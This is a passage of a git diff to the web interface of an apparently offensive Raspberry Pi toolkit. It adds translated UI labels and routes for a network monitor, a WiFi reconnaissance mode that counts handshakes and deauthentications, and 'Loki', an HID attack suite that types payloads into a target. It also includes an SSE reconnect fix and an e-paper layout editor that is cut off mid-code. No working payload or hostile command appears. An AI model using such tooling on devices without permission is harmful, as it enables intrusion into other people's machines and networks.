USB/Bluetooth/Ethernet.", + "bifrost.monitorFailed": "Modalità Monitor Fallita", + "bifrost.monitorFailedHint": "Per chip Broadcom (Pi Zero), installa nexmon. O usa un adattatore WiFi USB esterno.", + "bifrost.nexmonRequired": "Nexmon richiesto", + "bifrost.nexmonRequiredDesc": "Il tuo chip WiFi Broadcom necessita delle patch firmware nexmon per la modalità monitor. Clicca per auto-installare (~15-25 min su Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Installa Nexmon", + "bifrost.nexmonConfirm": "Installare le patch firmware nexmon? Questo scaricherà e compilerà nexmon (~15-25 min). Richiede accesso internet e privilegi root.", + "bifrost.nexmonStarted": "Installazione di nexmon avviata ...", + "bifrost.nexmonInstalling": "Installazione di Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — Suite di attacco HID", + "loki.enable": "Abilita", + "loki.enabled_msg": "Modalità Loki abilitata", + "loki.disabled_msg": "Modalità Loki disabilitata", + "loki.status_label": "Stato", + "loki.gadget_label": "Gadget", + "loki.layout_label": "Layout", + "loki.jobs_label": "Lavori", + "loki.running": "In esecuzione", + "loki.running_lc": "in esecuzione", + "loki.idle": "Inattivo", + "loki.ready": "Pronto", + "loki.not_ready": "Non pronto", + "loki.run": "Esegui", + "loki.save": "Salva", + "loki.new": "Nuovo", + "loki.delete": "Elimina", + "loki.cancel": "Annulla", + "loki.output": "Output", + "loki.payloads": "Payload", + "loki.custom_scripts": "Script personalizzati", + "loki.jobs": "Lavori", + "loki.clear_completed": "Elimina completati", + "loki.script": "Script", + "loki.status_col": "Stato", + "loki.started": "Avviato", + "loki.actions": "Azioni", + "loki.no_payloads": "Nessun payload integrato", + "loki.no_scripts": "Nessuno script salvato", + "loki.no_jobs": "Nessun lavoro ancora", + "loki.no_output": "Nessun output", + "loki.empty_script": "Lo script è vuoto", + "loki.job_started": "Lavoro avviato: {id}", + "loki.run_error": "Impossibile eseguire lo script", + "loki.script_name_prompt": "Nome dello script:", + "loki.saved": "Script salvato", + "loki.save_error": "Impossibile salvare lo script", + "loki.confirm_delete": "Eliminare lo script '{name}'?", + "loki.quick_placeholder": "Digita testo rapido qui...", + "loki.quick_send": "Digita", + "loki.quick_sent": "Testo inviato al target", + "loki.quick_error": "Impossibile inviare il testo" } \ No newline at end of file diff --git a/web/i18n/ru.json b/web/i18n/ru.json index 8622f28..cac1065 100644 --- a/web/i18n/ru.json +++ b/web/i18n/ru.json @@ -40,22 +40,40 @@ "settings.errorRestoring": "Ошибка восстановления настроек по умолчанию", "theme.group.colors": "Цвета", "theme.group.surfaces": "Поверхности", + "theme.group.borders": "Границы", + "theme.group.controls": "Элементы управления", "theme.group.layout": "Макет", "theme.token.bg": "Фон", + "theme.token.bg2": "Фон Альт", "theme.token.ink": "Цвет текста", + "theme.token.muted": "Приглушённый текст", "theme.token.accent1": "Акцент 1 (Кислотный)", "theme.token.accent2": "Акцент 2 (Циан)", + "theme.token.accent": "Акцент", + "theme.token.accentAlt": "Акцент Альт", "theme.token.danger": "Опасно", "theme.token.warning": "Предупреждение", "theme.token.ok": "Успех", "theme.token.panel": "Панель", "theme.token.panel2": "Панель Альт", "theme.token.ctrlPanel": "Панель управления", + "theme.token.ctrlPanel2": "Панель управления Альт", + "theme.token.btnBg": "Фон кнопки", "theme.token.border": "Рамка", + "theme.token.borderStrong": "Усиленная рамка", + "theme.token.borderHi": "Подсветка рамки", + "theme.token.switchTrack": "Дорожка переключателя", + "theme.token.switchOnBg": "Фон включённого переключателя", + "theme.token.scrollTrack": "Дорожка прокрутки", + "theme.token.scrollThumb": "Ползунок прокрутки", + "theme.token.glass": "Стеклянное наложение", "theme.token.radius": "Радиус рамки", "theme.advanced": "Продвинутый CSS", "theme.applyRaw": "Применить", - "theme.reset": "Сбросить", + "theme.reset": "Сбросить по умолчанию", + "theme.export": "Экспорт темы", + "theme.import": "Импорт темы", + "theme.importError": "Недопустимый файл темы", "dash.title": "Панель управления", "dash.battery": "Батарея", "dash.internet": "Интернет", @@ -777,5 +795,137 @@ "api.timeout": "Время запроса истекло", "api.failed": "Запрос не удался", "router.notFound": "Страница не найдена: {{path}}", - "router.errorLoading": "Ошибка при загрузке страницы: {{message}}" + "router.errorLoading": "Ошибка при загрузке страницы: {{message}}", + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel Сторожевой", + "sentinel.enabled": "Включено", + "sentinel.disabled": "Выключено", + "sentinel.eventFeed": "Лента событий", + "sentinel.ackAll": "Подтвердить все", + "sentinel.clearAll": "Очистить все", + "sentinel.allAcked": "Все события подтверждены", + "sentinel.confirmClear": "Очистить все события? Это действие необратимо.", + "sentinel.eventsCleared": "События очищены", + "sentinel.noEvents": "Пока нет событий. Sentinel следит за вашей сетью на предмет аномалий.", + "sentinel.rules": "Правила", + "sentinel.devices": "Устройства", + "sentinel.notifiers": "Уведомления", + "sentinel.statDevices": "Известные устройства", + "sentinel.statAlive": "Активные", + "sentinel.statUnread": "Непрочитанные", + "sentinel.statEvents": "Всего событий", + "sentinel.statRules": "Активные правила", + "sentinel.addRule": "Добавить правило", + "sentinel.noRules": "Правила не настроены.", + "sentinel.ruleLogic": "Логика", + "sentinel.ruleActions": "Действия", + "sentinel.enable": "Включить", + "sentinel.disable": "Выключить", + "sentinel.editRule": "Редактировать правило", + "sentinel.deleteRule": "Удалить правило", + "sentinel.confirmDeleteRule": "Удалить это правило?", + "sentinel.ruleDeleted": "Правило удалено", + "sentinel.ruleUpdated": "Правило обновлено", + "sentinel.ruleCreated": "Правило создано", + "sentinel.ruleName": "Название правила", + "sentinel.triggerType": "Тип триггера", + "sentinel.cooldown": "Cooldown", + "sentinel.conditions": "Условия", + "sentinel.cancel": "Отмена", + "sentinel.save": "Сохранить", + "sentinel.nameRequired": "Название правила обязательно", + "sentinel.noDevices": "Устройства пока не обнаружены.", + "sentinel.trusted": "Доверенное", + "sentinel.untrusted": "Недоверенное", + "sentinel.alias": "Псевдоним", + "sentinel.expectedIps": "Ожидаемые IP", + "sentinel.lastSeen": "Последний раз в сети", + "sentinel.deviceSaved": "Устройство обновлено", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP Пользователь", + "sentinel.smtpPass": "SMTP Пароль", + "sentinel.emailFrom": "E-mail отправителя", + "sentinel.emailTo": "E-mail получателя", + "sentinel.saveNotifiers": "Сохранить уведомления", + "sentinel.notifiersSaved": "Настройки уведомлений сохранены", + "sentinel.justNow": "только что", + "sentinel.acknowledge": "Подтвердить", + "nav.bifrost": "Бифрост", + "bifrost.title": "Бифрост", + "bifrost.enabled": "Включено", + "bifrost.disabled": "Выключено", + "bifrost.activityFeed": "Лента активности", + "bifrost.clearActivity": "Очистить", + "bifrost.activityCleared": "Активность очищена", + "bifrost.noActivity": "Нет активности. Включите Bifrost для разведки WiFi.", + "bifrost.networks": "Сети", + "bifrost.plugins": "Плагины", + "bifrost.history": "История", + "bifrost.mood": "Настроение", + "bifrost.statNetworks": "Сети", + "bifrost.statHandshakes": "Рукопожатия", + "bifrost.statDeauths": "Деаутент.", + "bifrost.statAssocs": "Ассоц.", + "bifrost.statEpochs": "Эпохи", + "bifrost.statPeers": "Пиры", + "bifrost.noNetworks": "Сети пока не обнаружены.", + "bifrost.noPlugins": "Плагины не загружены.", + "bifrost.noEpochs": "Эпохи ещё не записаны.", + "bifrost.justNow": "только что", + "bifrost.confirmEnable": "Включить режим Bifrost? WiFi перейдёт в режим мониторинга — сетевое подключение будет потеряно. Подключайтесь через USB/Bluetooth/Ethernet.", + "bifrost.monitorFailed": "Режим мониторинга не работает", + "bifrost.monitorFailedHint": "Для чипов Broadcom (Pi Zero) установите nexmon. Или используйте внешний USB WiFi адаптер.", + "bifrost.nexmonRequired": "Требуется Nexmon", + "bifrost.nexmonRequiredDesc": "Вашему WiFi чипу Broadcom нужны патчи прошивки nexmon для режима мониторинга. Нажмите для авто-установки (~15-25 мин на Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Установить Nexmon", + "bifrost.nexmonConfirm": "Установить патчи прошивки nexmon? Это загрузит и скомпилирует nexmon (~15-25 мин). Требуется доступ в интернет и права root.", + "bifrost.nexmonStarted": "Установка nexmon начата ...", + "bifrost.nexmonInstalling": "Установка Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — HID Атака", + "loki.enable": "Включить", + "loki.enabled_msg": "Режим Loki включён", + "loki.disabled_msg": "Режим Loki выключен", + "loki.status_label": "Статус", + "loki.gadget_label": "Гаджет", + "loki.layout_label": "Раскладка", + "loki.jobs_label": "Задачи", + "loki.running": "Работает", + "loki.running_lc": "работает", + "loki.idle": "Простой", + "loki.ready": "Готов", + "loki.not_ready": "Не готов", + "loki.run": "Запустить", + "loki.save": "Сохранить", + "loki.new": "Новый", + "loki.delete": "Удалить", + "loki.cancel": "Отмена", + "loki.output": "Вывод", + "loki.payloads": "Нагрузки", + "loki.custom_scripts": "Пользовательские скрипты", + "loki.jobs": "Задачи", + "loki.clear_completed": "Очистить завершённые", + "loki.script": "Скрипт", + "loki.status_col": "Статус", + "loki.started": "Запущено", + "loki.actions": "Действия", + "loki.no_payloads": "Нет встроенных нагрузок", + "loki.no_scripts": "Нет сохранённых скриптов", + "loki.no_jobs": "Задач пока нет", + "loki.no_output": "Нет вывода", + "loki.empty_script": "Скрипт пуст", + "loki.job_started": "Задача запущена: {id}", + "loki.run_error": "Не удалось запустить скрипт", + "loki.script_name_prompt": "Имя скрипта:", + "loki.saved": "Скрипт сохранён", + "loki.save_error": "Не удалось сохранить скрипт", + "loki.confirm_delete": "Удалить скрипт '{name}'?", + "loki.quick_placeholder": "Введите текст здесь...", + "loki.quick_send": "Ввод", + "loki.quick_sent": "Текст отправлен на цель", + "loki.quick_error": "Не удалось отправить текст" } \ No newline at end of file diff --git a/web/i18n/zh.json b/web/i18n/zh.json index 349435e..b20b6b1 100644 --- a/web/i18n/zh.json +++ b/web/i18n/zh.json @@ -40,22 +40,40 @@ "settings.errorRestoring": "恢复默认值时出错", "theme.group.colors": "颜色", "theme.group.surfaces": "界面", + "theme.group.borders": "边框", + "theme.group.controls": "控件", "theme.group.layout": "布局", "theme.token.bg": "背景", + "theme.token.bg2": "备选背景", "theme.token.ink": "文字颜色", + "theme.token.muted": "弱化文字", "theme.token.accent1": "强调色 1 (酸性)", "theme.token.accent2": "强调色 2 (青色)", + "theme.token.accent": "强调色", + "theme.token.accentAlt": "备选强调色", "theme.token.danger": "危险", "theme.token.warning": "警告", "theme.token.ok": "成功", "theme.token.panel": "面板", "theme.token.panel2": "备选面板", "theme.token.ctrlPanel": "控制面板", + "theme.token.ctrlPanel2": "备选控制面板", + "theme.token.btnBg": "按钮背景", "theme.token.border": "边框", + "theme.token.borderStrong": "加粗边框", + "theme.token.borderHi": "高亮边框", + "theme.token.switchTrack": "开关轨道", + "theme.token.switchOnBg": "开关开启背景", + "theme.token.scrollTrack": "滚动条轨道", + "theme.token.scrollThumb": "滚动条滑块", + "theme.token.glass": "玻璃覆盖层", "theme.token.radius": "圆角", "theme.advanced": "高级 CSS", "theme.applyRaw": "应用", - "theme.reset": "重置", + "theme.reset": "恢复默认", + "theme.export": "导出主题", + "theme.import": "导入主题", + "theme.importError": "无效的主题文件", "dash.title": "仪表盘", "dash.battery": "电池", "dash.internet": "互联网", @@ -777,5 +795,137 @@ "api.timeout": "请求超时", "api.failed": "请求失败", "router.notFound": "页面未找到:{{path}}", - "router.errorLoading": "加载页面时出错:{{message}}" + "router.errorLoading": "加载页面时出错:{{message}}", + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel 守护犬", + "sentinel.enabled": "已启用", + "sentinel.disabled": "已禁用", + "sentinel.eventFeed": "事件动态", + "sentinel.ackAll": "全部确认", + "sentinel.clearAll": "全部清除", + "sentinel.allAcked": "所有事件已确认", + "sentinel.confirmClear": "清除所有事件?此操作不可逆。", + "sentinel.eventsCleared": "事件已清除", + "sentinel.noEvents": "暂无事件。Sentinel 正在监控您的网络以发现异常。", + "sentinel.rules": "规则", + "sentinel.devices": "设备", + "sentinel.notifiers": "通知器", + "sentinel.statDevices": "已知设备", + "sentinel.statAlive": "在线", + "sentinel.statUnread": "未读", + "sentinel.statEvents": "事件总数", + "sentinel.statRules": "活跃规则", + "sentinel.addRule": "添加规则", + "sentinel.noRules": "未配置规则。", + "sentinel.ruleLogic": "逻辑", + "sentinel.ruleActions": "动作", + "sentinel.enable": "启用", + "sentinel.disable": "禁用", + "sentinel.editRule": "编辑规则", + "sentinel.deleteRule": "删除规则", + "sentinel.confirmDeleteRule": "确定删除此规则?", + "sentinel.ruleDeleted": "规则已删除", + "sentinel.ruleUpdated": "规则已更新", + "sentinel.ruleCreated": "规则已创建", + "sentinel.ruleName": "规则名称", + "sentinel.triggerType": "触发类型", + "sentinel.cooldown": "冷却时间", + "sentinel.conditions": "条件", + "sentinel.cancel": "取消", + "sentinel.save": "保存", + "sentinel.nameRequired": "规则名称为必填项", + "sentinel.noDevices": "尚未发现设备。", + "sentinel.trusted": "受信任", + "sentinel.untrusted": "不受信任", + "sentinel.alias": "别名", + "sentinel.expectedIps": "预期 IP", + "sentinel.lastSeen": "最后上线", + "sentinel.deviceSaved": "设备已更新", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP 用户", + "sentinel.smtpPass": "SMTP 密码", + "sentinel.emailFrom": "发件人邮箱", + "sentinel.emailTo": "收件人邮箱", + "sentinel.saveNotifiers": "保存通知器", + "sentinel.notifiersSaved": "通知器配置已保存", + "sentinel.justNow": "刚刚", + "sentinel.acknowledge": "确认", + "nav.bifrost": "彩虹桥", + "bifrost.title": "彩虹桥", + "bifrost.enabled": "已启用", + "bifrost.disabled": "已禁用", + "bifrost.activityFeed": "活动日志", + "bifrost.clearActivity": "清除", + "bifrost.activityCleared": "活动已清除", + "bifrost.noActivity": "暂无活动。启用 Bifrost 开始 WiFi 侦察。", + "bifrost.networks": "网络", + "bifrost.plugins": "插件", + "bifrost.history": "历史", + "bifrost.mood": "心情", + "bifrost.statNetworks": "网络", + "bifrost.statHandshakes": "握手", + "bifrost.statDeauths": "去认证", + "bifrost.statAssocs": "关联", + "bifrost.statEpochs": "纪元", + "bifrost.statPeers": "节点", + "bifrost.noNetworks": "尚未发现网络。", + "bifrost.noPlugins": "未加载插件。", + "bifrost.noEpochs": "尚无纪元记录。", + "bifrost.justNow": "刚刚", + "bifrost.confirmEnable": "启用 Bifrost 模式?WiFi 将切换为监听模式 — 网络连接将断开。请通过 USB/蓝牙/以太网连接。", + "bifrost.monitorFailed": "监控模式失败", + "bifrost.monitorFailedHint": "对于Broadcom芯片(Pi Zero),请安装nexmon。或使用外置USB WiFi适配器。", + "bifrost.nexmonRequired": "需要安装 Nexmon", + "bifrost.nexmonRequiredDesc": "您的Broadcom WiFi芯片需要nexmon固件补丁才能使用监控模式。点击自动安装(Pi Zero 2 W约需15-25分钟)。", + "bifrost.nexmonInstallBtn": "安装 Nexmon", + "bifrost.nexmonConfirm": "安装nexmon固件补丁?这将下载并编译nexmon(约15-25分钟)。需要网络连接和root权限。", + "bifrost.nexmonStarted": "nexmon 安装已开始 ...", + "bifrost.nexmonInstalling": "正在安装 Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — HID 攻击套件", + "loki.enable": "启用", + "loki.enabled_msg": "Loki 模式已启用", + "loki.disabled_msg": "Loki 模式已禁用", + "loki.status_label": "状态", + "loki.gadget_label": "设备", + "loki.layout_label": "布局", + "loki.jobs_label": "任务", + "loki.running": "运行中", + "loki.running_lc": "运行中", + "loki.idle": "空闲", + "loki.ready": "就绪", + "loki.not_ready": "未就绪", + "loki.run": "运行", + "loki.save": "保存", + "loki.new": "新建", + "loki.delete": "删除", + "loki.cancel": "取消", + "loki.output": "输出", + "loki.payloads": "有效载荷", + "loki.custom_scripts": "自定义脚本", + "loki.jobs": "任务", + "loki.clear_completed": "清除已完成", + "loki.script": "脚本", + "loki.status_col": "状态", + "loki.started": "已启动", + "loki.actions": "操作", + "loki.no_payloads": "无内置有效载荷", + "loki.no_scripts": "无已保存脚本", + "loki.no_jobs": "暂无任务", + "loki.no_output": "无输出", + "loki.empty_script": "脚本为空", + "loki.job_started": "任务已启动:{id}", + "loki.run_error": "运行脚本失败", + "loki.script_name_prompt": "脚本名称:", + "loki.saved": "脚本已保存", + "loki.save_error": "保存脚本失败", + "loki.confirm_delete": "删除脚本 '{name}'?", + "loki.quick_placeholder": "在此输入快速文本...", + "loki.quick_send": "输入", + "loki.quick_sent": "文本已发送至目标", + "loki.quick_error": "发送文本失败" } \ No newline at end of file diff --git a/web/js/app.js b/web/js/app.js index 91c1ef2..34b4c63 100644 --- a/web/js/app.js +++ b/web/js/app.js @@ -57,8 +57,11 @@ function bootUI() { router.route('/backup', () => import('./pages/backup.js')); router.route('/web-enum', () => import('./pages/web-enum.js')); router.route('/zombieland', () => import('./pages/zombieland.js')); - router.route('/ai-dashboard', () => import('./pages/rl-dashboard.js?t=' + Date.now())); + router.route('/ai-dashboard', () => import('./pages/rl-dashboard.js')); router.route('/bjorn-debug', () => import('./pages/bjorn-debug.js')); + router.route('/sentinel', () => import('./pages/sentinel.js')); + router.route('/bifrost', () => import('./pages/bifrost.js')); + router.route('/loki', () => import('./pages/loki.js')); router.route('/bjorn', () => import('./pages/bjorn.js')); // 404 fallback @@ -408,6 +411,9 @@ const PAGES = [ { path: '/backup', icon: 'backup_update.png', label: 'nav.backup' }, { path: '/web-enum', icon: 'web_enum.png', label: 'nav.webEnum' }, { path: '/zombieland', icon: 'zombieland.png', label: 'nav.zombieland' }, + { path: '/sentinel', icon: 'network.png', label: 'nav.sentinel' }, + { path: '/bifrost', icon: 'network.png', label: 'nav.bifrost' }, + { path: '/loki', icon: 'actions_launcher.png', label: 'nav.loki' }, { path: '/ai-dashboard', icon: 'ai_dashboard.png', label: 'nav.ai_dashboard' }, { path: '/bjorn-debug', icon: 'database.png', label: 'Bjorn Debug' }, ]; @@ -598,6 +604,11 @@ function wireSettingsModal() { const panel = modal.querySelector(`#tab-${tabId}`); if (panel) panel.hidden = false; if (tabId === 'config') settingsConfig.loadConfig(cfgHost); + if (tabId === 'theme') { + theme.disableOverlay(); + } else { + theme.restoreOverlay(); + } }); // Notifications switch @@ -627,6 +638,7 @@ function toggleSettings() { const isOpen = backdrop.style.display === 'flex'; if (isOpen) { + theme.restoreOverlay(); backdrop.style.display = 'none'; backdrop.setAttribute('aria-hidden', 'true'); } else { diff --git a/web/js/core/console-sse.js b/web/js/core/console-sse.js index 67893c0..1c78ee9 100644 --- a/web/js/core/console-sse.js +++ b/web/js/core/console-sse.js @@ -41,6 +41,8 @@ const LEVEL_CLASSES = { let evtSource = null; let reconnectCount = 0; let reconnectTimer = null; +let healthyMessageCount = 0; +const HEALTHY_THRESHOLD = 5; // messages needed before resetting reconnect counter let isUserScrolling = false; let autoScroll = true; @@ -364,7 +366,11 @@ function connectSSE() { evtSource = new EventSource('/stream_logs'); evtSource.onmessage = (evt) => { - reconnectCount = 0; // healthy connection resets counter + // Only reset reconnect counter after sustained healthy connection + healthyMessageCount++; + if (healthyMessageCount >= HEALTHY_THRESHOLD) { + reconnectCount = 0; + } const raw = evt.data; if (!raw) return; @@ -405,6 +411,7 @@ function connectSSE() { }; evtSource.onerror = () => { + healthyMessageCount = 0; disconnectSSE(); scheduleReconnect(); }; diff --git a/web/js/core/epd-editor.js b/web/js/core/epd-editor.js new file mode 100644 index 0000000..ef96978 --- /dev/null +++ b/web/js/core/epd-editor.js @@ -0,0 +1,1157 @@ +/** + * EPD Layout Editor — visual drag-and-drop layout editor for e-paper displays. + * + * Features: drag/resize elements, grid/snap, display modes (Color/NB/BN), + * add/delete elements, import/export JSON, undo, font size editing, + * real icon previews, live EPD preview, rotation, invert, + * and multiple EPD types. + */ +import { el, toast, empty } from './dom.js'; +import { api } from './api.js'; +import { t as i18n } from './i18n.js'; + +/* ── Helpers ─────────────────────────────────────────────── */ +const L = (k, v) => i18n(k, v); +const Lx = (k, fb) => { const o = i18n(k); return o && o !== k ? o : fb; }; +const SVG_NS = 'http://www.w3.org/2000/svg'; +const XLINK_NS = 'http://www.w3.org/1999/xlink'; +const clamp = (v, lo, hi) => Math.max(lo, Math.min(hi, v)); +const snapVal = (v, g) => g > 1 ? Math.round(v / g) * g : v; +const deepClone = (o) => JSON.parse(JSON.stringify(o)); +const isLine = (name) => name.startsWith('line_'); + +/* ── Icon name → BMP filename mapping ────────────────────── */ +const ICON_FILES = { + wifi_icon: 'wifi.bmp', + bt_icon: 'bluetooth.bmp', + usb_icon: 'usb.bmp', + eth_icon: 'ethernet.bmp', + battery_icon: '100.bmp', + status_image: 'bjorn1.bmp', + main_character: 'bjorn1.bmp', + frise: 'frise.bmp', + // Stats row icons (used inside stats_row representative content) + _stat_target: 'target.bmp', + _stat_port: 'port.bmp', + _stat_vuln: 'vuln.bmp', + _stat_cred: 'cred.bmp', + _stat_zombie: 'zombie.bmp', + _stat_data: 'data.bmp', +}; + +/* ── Element type → color mapping ────────────────────────── */ +const TYPE_COLORS = { + icon: { fill: 'rgba(66,133,244,0.22)', stroke: '#4285f4' }, + text: { fill: 'rgba(52,168,83,0.22)', stroke: '#34a853' }, + bar: { fill: 'rgba(251,188,4,0.22)', stroke: '#fbbc04' }, + character: { fill: 'rgba(156,39,176,0.22)', stroke: '#9c27b0' }, + area: { fill: 'rgba(255,87,34,0.18)', stroke: '#ff5722' }, + line: { fill: 'none', stroke: '#ea4335' }, + default: { fill: 'rgba(158,158,158,0.16)', stroke: '#9e9e9e' }, +}; + +function guessType(name) { + if (isLine(name)) return 'line'; + if (/icon|bt_|wifi|usb|eth|battery/.test(name)) return 'icon'; + if (/text|title|status_line|ip_/.test(name)) return 'text'; + if (/bar|progress|histogram/.test(name)) return 'bar'; + if (/character|frise/.test(name)) return 'character'; + if (/area|comment|lvl|box|row|count|network/.test(name)) return 'area'; + return 'default'; +} + +function colorFor(name, displayMode) { + const type = guessType(name); + if (displayMode === 'nb') return { fill: 'rgba(30,30,30,0.22)', stroke: '#222' }; + if (displayMode === 'bn') return { fill: 'rgba(220,220,220,0.22)', stroke: '#ccc' }; + return TYPE_COLORS[type] || TYPE_COLORS.default; +} + +/* ── State ───────────────────────────────────────────────── */ +let _tracker = null; +let _sidebarEl = null; +let _mainEl = null; +let _svg = null; +let _layout = null; +let _originalLayout = null; +let _layouts = null; +let _selectedKey = null; +let _zoom = 2; +let _gridSize = 10; +let _snapEnabled = true; +let _labelsVisible = true; +let _displayMode = 'color'; // 'color' | 'nb' | 'bn' +let _rotation = 0; // 0, 90, 180, 270 +let _invertColors = false; +let _undoStack = []; +let _dragging = null; +let _mounted = false; +let _activated = false; +let _iconCache = new Map(); // name → dataURL +let _liveTimer = null; + +/* ── Public API ──────────────────────────────────────────── */ +export function mount(tracker) { + _tracker = tracker; + _mounted = true; + _activated = false; +} + +export function unmount() { + stopLivePreview(); + _selectedKey = null; + _dragging = null; + _layout = null; + _originalLayout = null; + _layouts = null; + _undoStack = []; + _svg = null; + _sidebarEl = null; + _mainEl = null; + _mounted = false; + _activated = false; + _iconCache.clear(); +} + +export async function activate(sidebarEl, mainEl) { + _sidebarEl = sidebarEl; + _mainEl = mainEl; + // Ensure focusable for arrow key navigation + if (_mainEl && !_mainEl.getAttribute('tabindex')) _mainEl.setAttribute('tabindex', '0'); + if (_activated && _layout) { + renderAll(); + startLivePreview(); + return; + } + _activated = true; + await loadFromServer(); + preloadIcons(); + startLivePreview(); +} + +/* ── Icon Preloading ─────────────────────────────────────── */ +function preloadIcons() { + for (const [elemName, filename] of Object.entries(ICON_FILES)) { + if (_iconCache.has(elemName)) continue; + const img = new Image(); + img.crossOrigin = 'anonymous'; + img.onload = () => { + // Convert to data URL via canvas for SVG embedding + const c = document.createElement('canvas'); + c.width = img.naturalWidth; + c.height = img.naturalHeight; + const ctx = c.getContext('2d'); + ctx.drawImage(img, 0, 0); + try { + _iconCache.set(elemName, c.toDataURL('image/png')); + // Re-render to show icons once loaded + if (_svg && _layout) renderAll(); + } catch { /* CORS fallback: just skip icon preview */ } + }; + img.src = `/static_images/${filename}`; + } +} + +/* ── Live EPD Preview ────────────────────────────────────── */ +function startLivePreview() { + stopLivePreview(); + _liveTimer = setInterval(() => { + const img = _mainEl?.querySelector?.('.epd-live-img'); + if (img) img.src = `/web/screen.png?t=${Date.now()}`; + }, 4000); +} + +function stopLivePreview() { + if (_liveTimer) { clearInterval(_liveTimer); _liveTimer = null; } +} + +/* ── Server IO ───────────────────────────────────────────── */ +async function loadFromServer(epdType) { + try { + const [layoutsRes, layoutRes] = await Promise.all([ + api.get('/api/epd/layouts', { timeout: 10000, retries: 0 }), + api.get(epdType ? `/api/epd/layout?epd_type=${epdType}` : '/api/epd/layout', { timeout: 10000, retries: 0 }), + ]); + _layouts = layoutsRes; + _layout = deepClone(layoutRes); + _originalLayout = deepClone(layoutRes); + _undoStack = []; + _selectedKey = null; + renderAll(); + } catch (err) { + toast(`EPD Layout: ${err.message}`, 3000, 'error'); + } +} + +async function saveToServer() { + if (!_layout) return; + try { + await api.post('/api/epd/layout', _layout, { timeout: 15000, retries: 0 }); + _originalLayout = deepClone(_layout); + toast(Lx('epd.saved', 'Layout saved'), 2000, 'success'); + } catch (err) { + toast(`Save failed: ${err.message}`, 3000, 'error'); + } +} + +async function resetToDefault() { + if (!confirm(Lx('epd.confirmReset', 'Reset layout to built-in defaults?'))) return; + try { + await api.post('/api/epd/layout/reset', {}, { timeout: 15000, retries: 0 }); + await loadFromServer(); + toast(Lx('epd.reset', 'Layout reset to defaults'), 2000, 'success'); + } catch (err) { + toast(`Reset failed: ${err.message}`, 3000, 'error'); + } +} + +/* ── Undo ────────────────────────────────────────────────── */ +function pushUndo() { + if (!_layout) return; + _undoStack.push(deepClone(_layout)); + if (_undoStack.length > 50) _undoStack.shift(); +} + +function undo() { + if (!_undoStack.length) return; + _layout = _undoStack.pop(); + renderAll(); +} + +/* ── Render All ──────────────────────────────────────────── */ +function renderAll() { + if (!_sidebarEl || !_mainEl || !_layout) return; + renderMain(); + renderSidebar(); +} + +/* ── Main Area ───────────────────────────────────────────── */ +function renderMain() { + empty(_mainEl); + const meta = _layout.meta || {}; + const W = meta.ref_width || 122; + const H = meta.ref_height || 250; + + // Toolbar + _mainEl.appendChild(buildToolbar()); + + // Content row: canvas + live preview side by side + const contentRow = el('div', { class: 'epd-content-row' }); + + // Canvas wrapper — NO explicit width/height on wrapper, let SVG size it + const wrapper = el('div', { class: `epd-canvas-wrapper mode-${_displayMode}${_invertColors ? ' inverted' : ''}` }); + + // SVG + const isRotated = _rotation === 90 || _rotation === 270; + const svgW = isRotated ? H : W; + const svgH = isRotated ? W : H; + + const svg = document.createElementNS(SVG_NS, 'svg'); + svg.setAttribute('viewBox', `0 0 ${svgW} ${svgH}`); + svg.setAttribute('width', String(svgW * _zoom)); + svg.setAttribute('height', String(svgH * _zoom)); + svg.style.display = 'block'; + _svg = svg; + + // Rotation transform group + const rotG = document.createElementNS(SVG_NS, 'g'); + if (_rotation === 90) rotG.setAttribute('transform', `rotate(90 ${svgW / 2} ${svgH / 2}) translate(${(svgW - svgH) / 2} ${(svgH - svgW) / 2})`); + else if (_rotation === 180) rotG.setAttribute('transform', `rotate(180 ${W / 2} ${H / 2})`); + else if (_rotation === 270) rotG.setAttribute('transform', `rotate(270 ${svgW / 2} ${svgH / 2}) translate(${(svgW - svgH) / 2} ${(svgH - svgW) / 2})`); + + // Background rect + let bgFill = '#fff'; + if (_displayMode === 'bn') bgFill = '#111'; + if (_invertColors) bgFill = bgFill === '#fff' ? '#111' : '#fff'; + + const bgRect = document.createElementNS(SVG_NS, 'rect'); + bgRect.setAttribute('width', String(W)); + bgRect.setAttribute('height', String(H)); + bgRect.setAttribute('fill', bgFill); + rotG.appendChild(bgRect); + + // Grid + if (_gridSize > 1) { + const gridG = document.createElementNS(SVG_NS, 'g'); + const isDark = (_displayMode === 'bn') !== _invertColors; + const gridColor = isDark ? 'rgba(255,255,255,0.08)' : 'rgba(0,0,0,0.06)'; + for (let x = _gridSize; x < W; x += _gridSize) { + const l = document.createElementNS(SVG_NS, 'line'); + l.setAttribute('x1', String(x)); l.setAttribute('y1', '0'); + l.setAttribute('x2', String(x)); l.setAttribute('y2', String(H)); + l.setAttribute('stroke', gridColor); l.setAttribute('stroke-width', '0.3'); + gridG.appendChild(l); + } + for (let y = _gridSize; y < H; y += _gridSize) { + const l = document.createElementNS(SVG_NS, 'line'); + l.setAttribute('x1', '0'); l.setAttribute('y1', String(y)); + l.setAttribute('x2', String(W)); l.setAttribute('y2', String(y)); + l.setAttribute('stroke', gridColor); l.setAttribute('stroke-width', '0.3'); + gridG.appendChild(l); + } + rotG.appendChild(gridG); + } + + // Elements — sorted: lines behind, then largest area first + const elements = _layout.elements || {}; + const sortedKeys = Object.keys(elements).sort((a, b) => { + if (isLine(a) && !isLine(b)) return -1; + if (!isLine(a) && isLine(b)) return 1; + const aA = (elements[a].w || W) * (elements[a].h || 1); + const bA = (elements[b].w || W) * (elements[b].h || 1); + return bA - aA; + }); + + const elemsG = document.createElementNS(SVG_NS, 'g'); + for (const key of sortedKeys) { + elemsG.appendChild(createSvgElement(key, elements[key], W, H)); + } + rotG.appendChild(elemsG); + + // Resize handles (on top, only for selected non-line element) + if (_selectedKey && !isLine(_selectedKey) && elements[_selectedKey]) { + const e = elements[_selectedKey]; + const 